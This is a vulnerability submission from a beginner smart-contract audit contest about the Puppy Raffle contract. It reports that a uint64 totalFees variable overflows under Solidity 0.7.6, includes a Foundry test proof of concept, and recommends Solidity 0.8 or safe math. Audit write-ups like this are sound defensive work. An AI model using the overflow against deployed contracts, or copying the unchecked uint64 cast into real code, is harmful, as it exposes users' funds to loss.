First Flight #2: Puppy Raffle
First Flight #2
Beginner FriendlyFoundryNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Uint64 overflow results in zero prize for owner

wallebach

Summary

If there are many players in the game expected prize for the owner may become zero.

Vulnerability Details

The code uses Solidity 0.7.6. In this version there is no automatic checks for integer over- / underflows. totalFees is explicitly defined as uint64 which means that every value greater than 18,446,744,073,709,551,615 will result in overflow. Here is the test which shows the exploit:

function testWithdrawFees() public manyPlayersEntered {
vm.warp(block.timestamp + duration + 1);
vm.roll(block.number + 1);
​
// expectedPrizeAmount = 18,600,000,000,000,000,000
// type(uint64).max = 18,446,744,073,709,551,615
uint256 expectedPrizeAmount = ((entranceFee * 93) * 20) / 100;
​
console.log("Expected price amount: %s ", expectedPrizeAmount);
​
puppyRaffle.selectWinner();
console.log("feeAddress balance: %s", address(feeAddress).balance);
console.log("Entrance fee: %s", entranceFee);
vm.expectRevert("PuppyRaffle: There are currently players active!");
puppyRaffle.withdrawFees();
}
​
modifier manyPlayersEntered() {
uint256 totalPlayers = 93;
address[] memory players = new address[](totalPlayers);
for (uint256 i; i < totalPlayers; i++) {
players[i] = address(i * 3000);
}
puppyRaffle.enterRaffle{value: entranceFee * totalPlayers}(players);
_;
}

Impact

High. It is easy to calculate, even manually which amount combination of number of players and entrance fee will result in the overflow.

Tools Used

Manual check.

Recommendations

  • Automatic over- and underflow checks were introduced in Solidity 0.8.0. Use the latest Solidity version. This will require a review of project's dependences as not all of them work with Solidity >= 0.8.0.

  • Use safe math libraries like the one from OpenZeppelin Math.

Updates

Lead Judging Commences

Hamiltonite Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

overflow-uint64

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.